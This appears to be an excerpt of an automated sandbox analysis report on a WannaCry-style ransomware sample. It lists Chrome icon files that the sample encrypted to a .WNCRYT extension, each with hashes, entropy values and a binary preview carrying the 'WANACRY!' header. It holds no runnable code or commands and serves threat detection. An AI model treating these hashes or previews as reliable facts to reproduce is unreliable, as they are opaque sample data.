                                                                                                                                                                              Preview:WANACRY!.....o..7.[:..{x%*.....9..Mu...n.v!.K,{I.+W*....*.^.).w....{F..).h...N..B...D^....W#UaP..r$..r.L_..\f.....G.......~...O.@.\8Pl.4......!..0M@.i...+:..ux..:d..|....*. .X....TT..u0.r...D%>x.....O3.N.........:......<.!_}.J..p.{IJ.X....HZ.X.$..ee....v............O...m..EF..... .|.)!...S..+.\.$..?,m.?.1c..*%......-.....F.K..h....* .s.R.W.ki.,..>..P....q1..~#O.....&.......LH...$.....N..C..s8f..@A.....hg.]...m@w. .....eQ@.6?.....tVg..f.....c.u.QY.|JP.M..c........n...........eKz..$b./.h)..]9 .s._U.#..q........M'|vI.D.nG..V... p..}KI..V....a.3.s...D...Fk...7e..*C..{..9"..u.7,.b.:..^...S...a"@...k..Z...T.N.L.4.xE..C@-.Jz`7..&.I..;.....4....m..Pg.2.....C..uS8Mu.Dz...i.`......m..\w.F....Ts$..%..qM#@..:.S.,.(.g.S....Z.9.c.$........u Q......."H..._./..7.....C<..1....).E7.T{u.:....?..}...S....z....&;1T|U.r.T...l.....:.Y.K7~O..V..9(.g.!...~..".%..m..u..f..r.hT."..d......uQ.>.1v".:.R..p`F..1..9.j..z..l/8v0.8W\c.W...{.JB~..p..k...{/H.H.....N.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\96.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6056
                                                                                                                                                                              Entropy (8bit):7.970826849983458
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oKqmYA5mEBDdEQLoe8Hl3kPT/b+bnFgdyH3dT7KkDh2pK0asqmNtv7Zg:bL00EQLSFUPzbdy17JCfaGNtv7+
                                                                                                                                                                              MD5:D4E818DB752B7BA039C0DC7ED18B963D
                                                                                                                                                                              SHA1:0D026F8672476028C77E123713B4DF0DD6321722
                                                                                                                                                                              SHA-256:A30AB22F3397D1FF5F91C47D588EBD1D4922D3743BF00585E1391A9FEEE0AD0F
                                                                                                                                                                              SHA-512:21EF14800944B80F1CC729971858EAE99021CBC85572BCB3E02D853F5C1E5372599A3D018835B5DE2D03C5C2082C3168CF7C8FCD43A7A1AD824ACE2FA9DC8543
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........._..!.......'...,\....^.......6._.P.7G.N...h.. .....!.:.......#$v.Qk'K.Wg....q.D!....$"*(o..Q".....v.......(..%.O...H....]}.Qi...t.u.T.au6....,.~q30<...6..j.U..F!..o....bF.:...%J.H..O...?.eT7q..............C....(..l.#q....n.{v-..>Q.f./Y....l...............=.\f.;.9P.....c.k.j...f.....C..:S.\...l.96....4.5GRs.!.....`#..i%.....e).]>.:.4..0.#..%.A<..v.|`.@7x.c.B*.[......'..2d6\58d...5.-hZ...B...]k...wa. W.0....<...sc9..?..FV.$.V.8f..E.C.5.....v...y{`J.<.G...9.h.j..e<*.9.V..n...9.}Wk.c....;S.....P"..\........)}w#~...5....}....Z.M....M.iG..F..D.~.Y.]...!..s...l`...a...P$0.'.s....W+........+.......n.%r.k..g...lOq.H..b..7.EU..p..9.....?..0N%.....S.J*c......O.......y#E.H....V.....&..*b...D..*H..&.}......JqYJ...N$....h..u....E.9..7{......|.-..$2..Y;.KG..zX....p.y".....k....}..{._.[O".Q..U|6...Z.....,.iE.L5....Y.S%.......#sK.-.M....JxX..#.t..?f......2PKGl....e.a.......T.W.n...)-.0.J..oh.X..l.l......T......h.*d..\...~n..Jgp..<.%<w_....w..

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\128.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):10344
                                                                                                                                                                              Entropy (8bit):7.983811652302993
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:sRSmNl4whBaISzOzIwKhGy4pkRikZaGwuFny7T2CtmN/RJtoQPt8UZAYB5pMflc:Gv1hRSzOzIeDpSinf7T2CGRJtoQP71Bz
                                                                                                                                                                              MD5:89A627EA37721B3C8E13097E6F1855F5
                                                                                                                                                                              SHA1:744A2FD585A7327E6A79543CE41585CD9B955664
                                                                                                                                                                              SHA-256:519049481185EEC054C0C782C20AC89A21439C27C091C31CF10AB4C17AF8F30D
                                                                                                                                                                              SHA-512:39333EB7EBD80D745451F2C65B76D953D2305D3983F18022B8018FCF00BACCE169793BF49DA959D8AC08F4A7720062765EC3633E4DB63E3C5801FA82C90201A2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......qw..-3...n@...b...=!..w.Q......y..O-.*.........Y...0..5.a\j..s.....H.._%#5e^.6...5.4..q(..p@4'...N5n.LK-..(.m.|P\.V0bW{.......)G\w..r./L...;2.-.u~ ?)p...5..G/T&Pu.......xs...Nr@...s...v../..x..._J..%.{p`qGl.l....A.P.....H..4.,P....i....v.]0.......P'..........`.....{L.......}..)...i...!..1........?j..$4+|.N..z.2e^..la.,.91[.....k../&...x?..A..K\...Wa....d'...(..Z..8....`.Q..".......L.}.3|....83...+.`..:....a;.D...G..q....._.G..KF...&.E...D$...Z...?.&#...9....M`.Q.}>..:.w...?.H.'R..X.[...r.^..|.U.m..q..<.....'..e..H.|..(.#W.0..Y..ZnJ7.....JR.... .N..f...'.4..+n.vV.ZO...jTo. .- .W....9...P.......:.'........Mj..@.F..h..a.72.k.c..Iu.>u..../'.w.0.cO... 4......w?.;v...L.1.0s..iG....G..\..../..}`..n..7[A.`P.V [p5.........-w.j=].*..a9yw...0...[..}w....o.7.@1.....rM.8.&.,..b@...a.U.e$.._..jK....pu.2.B38...3.D..@o.B.d".6v...2....U..I..Q5.:..ttfQkf.v.M#..-.!:..e.6=IJ.....P.._)Sp'.B..\\|..A.(M..*e..E.Po..W3i..)9..nX.r=....*.s....(..=HIdt8......-.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\192.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7240
                                                                                                                                                                              Entropy (8bit):7.974564798490808
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:PbNF98huxuSM1RY5JjjLqs5c3geuleu1bnLJ9TUh:zxxuSMs5BpUQgu1LL8
                                                                                                                                                                              MD5:CAFBADC97E18CB0319E9A02F7FEAE115
                                                                                                                                                                              SHA1:E928D48E8ADE37B0B6B7118D676A3BD9CAEF4300
                                                                                                                                                                              SHA-256:B4E5ACBE4ACBFA2D64EEB71D1DB9AF92AB4D5D63FFAE495053B899B8F3259D8E
                                                                                                                                                                              SHA-512:BCFB77FAFA13609CF530E52D5184013FF9D7EF95E7B76351E79E629992342EB323A3CF42311423B89A67A54F05D00C1AFF0DB8A3EC768E9485AD03463D99155E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....%Zm.....r5....r..v....|........I...Gc......Cd.c......X.utb....N.....q..,F.~.m8..Q.FL...+b..N....Z.K$0Yq"...N.L.qa^.(~..yr.z.X+{..#..rH..I..!.d.LOo..P...O[.z'.P({..y4*}........S".I......Ako...u=.|9S..o.nYK...'R88@l(I....hE.....H.;:......m.o......+.......d.........G.T.T|..v]@?....mG.U..N;..9.I..j#"........../..b]Pn....pl.SXI2Z..AG.2..-&.qH......@.bz...8..x.}4......7XL..;(.9AL..[..}Z0.N.}.8....x.7.2+......G_...]..@>jW..&2U.}"d,L)...y!.3....A#...|d...'..]..\....zVA.....>...V. b......`s....w...)(....L=.iu=.'tZ.o7....m..&2X..-..q).sdP'..l$.t.._fZ..\..5H.....g.....%K....2.C.IJtjP.J..k...By.H.]4...n...vO49..d..b.q2B:Q. ...B.Lnl ..k..r2......)..1...6.7...Md.U...."Y.s..s.z.O...\..u.w..q..W.F..(..j...S\.f<....<...=rP.P...N+.`k..:..xq.D.;..'....Nu4>..u...g~O.(..]D..o_..r..L...2K...f..%.43]ZY.X..1Z.....gr..S.CT...pxJ.Q...-C:3.`.pT....CQ.y..@.C....._......R...z._m.R.-.....r{..9..K.mQ..O,6K.>L.r.b....]T..v.f.....)....J..+.3...%..s...x...

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):25624
                                                                                                                                                                              Entropy (8bit):7.9917007525769455
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:4FykIQtV3YGuoEOYa5IrFYdjfM3D3b1tf:cDtd8oEOY1Y5M3zf
                                                                                                                                                                              MD5:9C703AEF1099CD415387FA70A2E292D3
                                                                                                                                                                              SHA1:94AA0A6FE0365D2CB0B290B33378B7027EEA98BA
                                                                                                                                                                              SHA-256:F4084E1EFA3A4FF65DB8982478585CA3C6814BB21E8A3C14674DF3865FFC7A95
                                                                                                                                                                              SHA-512:363EF2013882773A4CFD0ACC62881C38858B5A3FA497ED4A95934AA57808ADF04E67B9B49323E6CEFF59EA41263C226F5A9577869142816047FCEC964C5E1A2A
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....O.9....cu.{@...&'...M[U.0........2R>9......8......l....m...9&2*.W...Wa.EUo.8./...X.]...-F....q..#X...y...aYM....<.j.+...I..?.GtFEW.x(..%....V..x....._..*......#ey...^u.A-[.L..d._..,.N...&6.j.....y.a.!Jk..sR+gu...C....k..bJ.f.]......j.e.G...:......b......_.k.8s..t.*.?/.g.U..D.B..w..F?<..?J.6.n..}..&...~Q..2.q...E.E.c.c1}..=..F..{%.".v.s|......|O...*.Hn2.$.@X..C&ATf.A....o.!h.q...5..*M.....O...w.f...Z.I.z.t..QB....]7.....S..]}.[..P.gn...f......4*+.d...s ...C.J.bD...........k......$...a.7jBy1..c.taF4.....(.9!.=.$.....m.C.H...E.<A.....W`...7.?...0....._ZMq....j.....+7> ,<...5.......'=.v.A..H..1.`..Uk{.pN......J_...z.'..Y..>..*M2.|...t.p.......n...$+....g.4...p.7.A6R...../:x...v..DmrAC......=...`...[&...Tk..7.ROf.X6.8.....T.F.Q.M~#.T.Mt..;T..*....9.D...w..B.1.yH...sU.].`.z....(.k...-.6.1].....>...-*..4.Q..../..R6.L&9;....~3...9.k.....c.n=..=....-..\..J.A.&..&..de+.....5N).......H.k...$.(f%.I:..A{.l.m.n^e.,..9......:*."..T.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\32.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1784
                                                                                                                                                                              Entropy (8bit):7.901717586557559
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkaI6awCCZyPuKVNSgd2X0FZyeIYgpKOyYeq:oa5awCC4uK7vde0F4elmxy+
                                                                                                                                                                              MD5:FD123685B8E9099E3D2D0561BBD81B5B
                                                                                                                                                                              SHA1:AF13FDD8033159BADBB112182B0F96D26650AD43
                                                                                                                                                                              SHA-256:69092C366A3BF5A604EFC9FC57C0EAE997FC935B158892E00336C9ECFBA818C2
                                                                                                                                                                              SHA-512:E0FE0FF112161E6D9991D4CD8E88E8C62B71A1BD7E0ADA77C22B243FF68721F8D133C5510B76DAF106BC4AFE094E7043071F68E1FBCEBCB4FB91974AB95E8C4C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Z.r"...S.%Y..@".gN....s...^.P8.......K......y..^|p_wKD....W.dU.p.]..r_i.....le.Q.7.2.j.}L.g..}p...1Y..7'.......J..(..WwgG.f.#\@.4@.Ht3.,(N...K........*Z....#p.8.E.8.......2n./..O{.pv.M......8....7"..8........d.$Nj.5.bK....B.i.4.&....1u.Z'y'H..............z^<..s@T...S.l...=...\.Zf:.|.nk.,....q`...$......{.F.d.^..f..w..Q.6..R...{... ,..|.i...f...B+O..J.....b.F.{..O..2k56.<....gl...&.7..R...n*qzx.zi.....e..gu..%.b4.,!'....y..\...u..E.o....w..1=.U.10.Q.^dv...y0. ".....L.W...F...l.....S.p..kn.G.-..`1..?j.<...<{..m.T.......u...p.D..P.....|c:T....u..3..X....,..5.....t...B...(...r..e...w....CB....X..n...U..e.z......b.#.&.c.).;....!.G.M(...N.\/.._..6.eD..C. .%1.o.Z..\e.Q.7l....'.QXl.(/`........?..o.....7...}x.].\....6.....\.n.@..i..Of..>.`D....9'*.. w....l..IU..n-..K..>..>..h..z.{"=..-.QA.<=.YU...5DN.C.../.#<F.......f..q.. ..s_fv.Gn.T.h....V..).9...X+Hif7.@..2...q?.ds"...3..#.*L...(r...B.I....@(.:...}..\%...-We0....G/.4.W...n...~.D

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\48.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2696
                                                                                                                                                                              Entropy (8bit):7.936839340470911
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkC7WNmWL8vaggIIeW6Jd3m6Kp8HAxV3470dgSPz4sou1uWrf8d/vMDaMBnVEy:ormWrCJYHQS47Q34F6uWnDdb
                                                                                                                                                                              MD5:DE021D7C5F3D646C14461DE2EB6C05CA
                                                                                                                                                                              SHA1:E73B2A05040F502EDD40C6AAD495D9FC4B20B49B
                                                                                                                                                                              SHA-256:DFA769A7FE6E44678CC73A9A92CD108C2B822599C58EE3A472AF081FF044B268
                                                                                                                                                                              SHA-512:4746C5C09303DC63B7A94FED1B1F971E28C21EC9BE003839D03E165D6A62DBE9FC87F81DEDBCB648C5F9321BF39BE959A14A69005529618680261232AE8347B6
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....2.:.P2...6Q.".I..we..x}..D....|...7.'.U...k.:4.K.sdE....YE.}....7....#.p..=7......4.N.........+.'.....$d\..%S.~_.....<..a..;..-......rG.q. .h.B......:........Fo;.\H.B.1..qZN.].a..Y\.....[:.......'..j.#....1H......G.I...D8$d....0y#*..p..`m....m........'..)|..$....sN..$L8.....]..=~....]..L..t:qM....D.3..y.`.H..8..X2d.[/=...S.D.2.B.q.~L..U.w6+.U......SU..S..@.....b.tF..v65..^.`^=.>..M.W.........6...{zE.Pw.[L.N...0).WF.I5.3.n6k^hc6..].k.Ab;..}7...c.W.U.O.@....%1LLrMjU.?.{....4: .........y;.@.m WG..4.+9..b.<..9..Z..kN`B..{.....a..H....|...o..+.e.sQ..0..:...1..s.]q........{#z(..P.5lAYvJ..x35....,.R.0.q...8...e..`;..j...f...y.0...._.`..4./.$9.g.bm4;...si..z1.B..#......E.,Za\;].=F!....}...h^....YI..`E..$..5..C8.'....6/....:.....:.7F,.....Y...a7.....dy"{..Q@q.A.#A....8...#.1?.M..[T.qcNX.fPc?...."e..ZE..Y.m5..y..f..g......n.{*...........'oYK...[...5.!{...U..NE~....C.........v..Z.u..>1.+.?F.....9....E...r#U..,...T...C.~..?...

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\64.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4072
                                                                                                                                                                              Entropy (8bit):7.9554172051670715
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oITgm+zcd83+MXcALLSyVHm1+9I5yOHRTPDR2z:5TuzcOoAyQG1PEEDl2z
                                                                                                                                                                              MD5:5A472E7DBCE3B26E38881D299F0414D2
                                                                                                                                                                              SHA1:4106F33EC975923FFBF2C49560176EF385DB132D
                                                                                                                                                                              SHA-256:F66A88515B892BC3356191FBE0DE1AD703D1A8516673E629AB129EB9BBEEC30E
                                                                                                                                                                              SHA-512:55BFFC254216615BA17115EE0DEB42B43867D61D95DFE80275A83299E50F8E92EDDE94BA9D66C78B52A1303C90B0B1630B96DA017354EBF69EC9DA402F92CDA2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....^...Y1.......z...>..&P.jWu.....7%.e..K.P.U?. ......?.,P..#.b.h}!....7...P^w~...D...v...7.......p(.kh.(..N.+..C...z..0T..........Y.fhSJ.*..a....2|....l.30.....~+V.....uS @.G...7.@..L.&.....&..4[+_..x.+.A$...%...t....lr.L..&{.{m..z..i7.\....._*q..............B...M...V].Z\}..I./t.Y.E...M#.x.. .uz;.......#.s3yN..Q.a~-.kf...3.l....O.8l.1...*&......mb."+....id...L7)@.`=nccoV.sb.w..F}v..}.Y"..gqg..ZqX~.,.*>C]......&.h8H.s.{....6..*.`y.E.OVUt..-....d.m..lV...?.."p....G.......P)g&.X..q.k...+....0yr....>Y...(u..N...E.......j4..A...].....3}{]Hk`./..=..hq.....W.."TP.....xj...1R....(',`.j..l)."...'..|..*l..P.N8."..Z'.\...=......F/'$...S....N.?XI..hSQ2.B\#....1..i..;.QO....h...u..il.....a.t8$....W....k...#.......,.._S.Q.....$.f..Z....=...6.i@l..=R.l.U.K..'Q.3o......d..P..QFx..S....c...&;..../...!_...a.......P....kf......I...G.y..4..,&.JXm...F/.nsuZM. .M.2.u..../l.......UWp....4a:p...Z......B....2...9..Kc.4~.......w..GD[jz<E....rL....x/.j.

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\96.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7000
                                                                                                                                                                              Entropy (8bit):7.9722562744624925
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:7VEBmyk+cEZZeEJQt41bqF4wBaB2UCyEQIVs0cuxz:J+mgVbjdq0B2R0Ms01
                                                                                                                                                                              MD5:C1E50B24B007F72A27E9A0FA14301B04
                                                                                                                                                                              SHA1:A97C44BDB03BADDA46BE74FC4063883E9F8346BD
                                                                                                                                                                              SHA-256:A58759D8AC3CC26E8E0563D90FCEE31F1CE24CFC90B95581D569D4080F69060F
                                                                                                                                                                              SHA-512:C9E1384B5C1D3F7CC6B7FE3B477D769710B6A95F2FC6D809C498CC5D05AA95CDD495480096BC5F29941FC978DC7E848131E72C322925A1A432AD3A4B2D1202E4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......q[y?...[.(.^..qr`.;..r.....)Ex6......6.....N..5..9r.."....I.2.......J.M...`r.UC.n....w.u&.]<..ZB...|..S5.U..#t..E.{.A^..$.!..~...%.^..y.|`..n_.P&......>....t.e...D7. /.....*O...j.cN...{.c.a...........:[s..>..lp...I(...Y..oO~...K.Z.....6..b.....;........q.#.....K.h....b..Mv6.lQNR.~.Y..Fp...C.../..x..Y.Q.....!.qX#Q....j......Z..7d.Z.T.Y,.5....{A.l...%.*..:....'..h.VK..pt.&...P?;.....T....&w.".....3..d..a..0....W.......)...2 ..........O=.|.......}.l..:...i+...R\t..R.................. ..n..zj\k8&..XU\...s.P.........q.As.......T|.rW25..}.Z.G.?w3...%.H|W.@..9H.ED.h...q.D]..+..b{......?jSw....[.t...EDd..g.0..P..M......%..U......C..L~.T...g....H.y..-...7!.. .{..I.3...v||.8...uP.=Ok*.....sJn.........'i....e.....v.....f.c.......... K........&....#...~.C..e..W...........Wk;.S.).V..].....I.`..{.aI.....8BuW....5.rJ.G<!2........7..a.E4..:].nm..x..)..5....VA..m|29...-.[.C...s6T......k..g...yX.....`#.....>.........,e_.i...`

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\128.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2600
                                                                                                                                                                              Entropy (8bit):7.922928737221135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkJc5klWPipXNQm6VYadaVjZkwkyrHpinMNhfb4E9rT0E/h0UmpCIhhCSaTLVwui:oJTOip6YPVjO3yrKChfb4EyESUmQXSaO
                                                                                                                                                                              MD5:991BF6B844C91A3B1BB51A5B0A1DF70C
                                                                                                                                                                              SHA1:80F4C7CCE81C61A3054929212DAC3D791A285888
                                                                                                                                                                              SHA-256:73787D357267BDF6A23BB433BD5E0E55EF3BF13FFD323205BA1505052B5AF1A7
                                                                                                                                                                              SHA-512:3DE01444C6DFDF22F5AFE3BB71D25C8BAEF0937073D4729F38D57E9BB8427CD1C4F03BCCC172B7F8CF75EE68398DE2C3852CCA4A5B15BC2E2297D72AC09E9F2D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....D...w.L.(...9.....!(a..^V..%:..Z.;[..hOiV|..>Sr..2..!.e.>..;=......U./...V(L.=>O.dF...^..{]R..QF.o.*....'.m.......49.."q_~.+.x..>.....Py.......dK...2..*..qY...(.l..D.....uVoY1...Z.$Kt.g.f....=..ga..>T..u.....r.{..v..f..q4O.'......O...x)u2..a...............\.g..ha...s..E.CGX....?!..;.z......#^d...n.....*Y....7j...."...;..V.T.:,..nj...A..<`.2...g<H..D..Q.......T.;k.s.....|A......8....s.FG./..>.......#........KI...L..'._i.4A..c1........V.=6!.#<d..j.{......)...m{...n.5Y..v...>.S(6.......&u.V[O.#h..R..9.u:.....{g4%.3.=[.(.....G..'....C..3.m...=.%.?..#..0}..nD...E9.....+..\.K8.p%.7I....i.....A..<....Y.onS:....Db.Pd."d.="...lD..I......*...*.z.rw..+.E9oWA.....].....M...Ll]../z)...w)..X._......f.!...(r......UO.W).Z.G8...k...P3gfNE [^.Xv.H.&..../ O........-/u.z6t.G..~M.7q...'.S._.....!..c....j...I5-.@|.,\...}...}...W-.UX...S....(*.Y...g.UJP....S....X.b..L$.W<'..!0.K..<1M[._....6.m.X.|.....?.:.......-.>....".gJ....)v..}A.i....ds2..?L]....

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\192.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1576
                                                                                                                                                                              Entropy (8bit):7.865761131996043
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkxSsXdPUyKqchV3SDov173k330x102hbzWgSGiLjwEK/YqSHI2RE89vMIhHBmYP:bkkstZKSWJk335SbNSKEKPSo2R2oEQ
                                                                                                                                                                              MD5:06FC1E04230C371B7A25868B2991F8BD
                                                                                                                                                                              SHA1:EE7C3E095F1019F94CD79E2A41CFCB50F38AA01F
                                                                                                                                                                              SHA-256:5C8B3B8EA71D1B387F484F8E756B4DB213FE96EBB4031A7826522ACEFC4744AF
                                                                                                                                                                              SHA-512:F97848F9EEE943F339DA0EB4888A7C0B8734D41DA8EB2F18530F8A1F37989396B337D9E012B43CD057B76921A4F6D4CDA76DC853EA03337DB45BACD6E2C7DB53
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....R.7.r.h^.D..-Po..{...sKY[F:'...K....j:..$./{24....r.<.!...?=_.%s.&.0.....@9#.u:...Q>.%....v.U.....S.@.]1.!nyV<.>I.w&...>....^...Gy...._.:.....a.#c.E..Q[.$....-..]i.^..g..:..,.M.....b!e).y....7.tU..\.B...V. .v..x..k..?...f..(...LU..C$E,./..k._%..*...............gG.Ol.hC...vHV..CB-...F_..Q..J..A.T.r0.m.).b....E,<..p...y/.....X..e....?.Q.........`.....5U.:.U.}.e.IB..8]Y.+.M.OR..).% ?/7.x.>}.U..P.0...hE..RL.....{..N..Zn`eq....18..HN..y...A^w..$..^........@..K...b2...I...n...KF../..a]O]..L. .:3.i...?.x*....J.%=......2@"GE....P.S.h.l.L.Y.q.../..e.$.i..q.x.....#..>XI.......wqs...Q...g..MI...?...2...`.x..q.mk../....#.LC.r.....|..~./c...%....q<H..k.....*F.}PJw.....w..K/.8......}k...p........{3}#I7k...T....M\.~..Y..?c7V.UWw.f...a./.M....3&..P..fN..i...AA.+........B.F..&..0..C..n...|c..c.A<.p....T8.`."..ACk%qZ.:n%..i....[...E|f.....!..}]"...q-...U./.J.u.......p..a{.N<S..?.S...sg.M...._.........0.[".\..^.c..F<=...b..\.y..F..........O}...4.....P

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\256.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5480
                                                                                                                                                                              Entropy (8bit):7.972591968087683
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:ovKS3t8ynLxmiowKUW2oMXcggBhmgA1gJ3TL4gycMneZcIf/bGhTOyjD/fVd1JcD:uKS3t9nJS2qlcgAkTLS7neZcIHgSszV6
                                                                                                                                                                              MD5:BB368C6814E54D83F36B155FD97B7422
                                                                                                                                                                              SHA1:76717D2F41E2D361E2DA2433618C3EA2A2525301
                                                                                                                                                                              SHA-256:187720DEE0F230840C67AE11AE83414048FEB64DB5003B4B6F59892944E21308
                                                                                                                                                                              SHA-512:858800C65D27E9952C0841B3911A27040D4B3228C5CC1019BD1E69CEAF1EA69AFCB4D7CAA2F39883394F7ECAFBE22E5EC3EC11F74DF0F2A0AA0DD359C0FF8689
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......<...k[.@*......a....b/.]J...kM.....%zYm.h....<..=<....{.'m..RF.....0.b8......Z.Do~4...!3y.s.....9....;..b.t.....).....B..n..)8,.."...*.......;.q6..O..4.fHP^.m..0.....w...M:..ip...s.0.S.(..\Z.y.CS..p2.d......j...@,....F...O.!...;!?.....|....G........AK:..<.D..2.......[wz+..ty.!.].=m.|.n6y...$.C.7.].aL(..'.2.5 .uWbA..5....HA......).C.g .)..d.....$....q_|.{... ..D.....q.....6...r....v..+.8.j.k..zj..K<...QXF&5...9.:Q.....&..<....U.k.....z..y........3.9........q...I.91.w.6.h..(.`L.U%.M..xA..e.F..cO.#..^";.(.(..qRI0.3.B.X....,..?..........b@...GhR..PUt06..y.?,...H,N...q..........6.7J#.n...!m....|(.~?v...5(...R.....Y"......DNpb.Y..pz....`Wy...L..._+.4..Q.[.){.p...1..n0.U.........-.%..JG.Hp....[..P/.r...h)k{G..Vw6.@U...X...^Z......O.rI.=.... .q..$...R..3..+..'.+...j....~x_..T}.$.....j.<EY..q9X>.r..G.I..D......I..w..2R.J\.S.L..C..Q. .......0.r...b.7.T ....a..8;./.Y.z .2.a..G..........{-M.C.h.)....Y+.......?...h.....:.V.q.f.F

                                                                                                                                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.837638631676002
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkpOvZ41CYGcRlXqfrybXYPWb9dig5Ad5iYEC0/E0sUCYpdCwUWup+47AP:bkpOh41CYFXIryDIWbGUQgE4bCLWu9i
